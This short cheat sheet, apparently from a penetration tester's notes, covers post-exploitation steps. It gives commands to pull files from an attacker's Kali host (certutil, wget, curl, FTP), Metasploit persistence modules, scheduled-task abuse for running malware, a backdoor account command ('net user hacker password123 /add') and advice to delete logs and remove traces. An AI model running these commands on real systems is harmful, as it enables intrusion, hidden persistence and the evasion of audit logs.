| description |
|---|
You landed yourself on a box, now what? |
certutil.exe -urlcache -f http://kali_ip/file.txt file.txt
python3 -m http.server <port>
- Navigate directly to the file
Kali: python -m pyftpdlib 21
Windows or Linux: ftp kali_ip
- Upon hosting an HTTP server, an attacker could utilize
wgetandcurlto remotely grab a file
- Run persistence -h
- exploit/windows/local/persistence
- exploit/windows/local/registry_persistence
These Metasploit scripts are very dangerous as they tend to open up ports.
Simply remember that open ports have no authentication mechanism.
- Run scheduleme
- Run schtaskabuse
Instead consider running malware on by scheduling tasks.
net user hacker password123 /add
- This is from a pentest perspective
- The goal is to leave the network exactly as you left it
- Remove executables, scripts, and added files
- Remove malware, rootkits, and added user accounts
- Set settings back to original configurations
- Delete your logs
- You need to be a ghost
- Exist in the shadows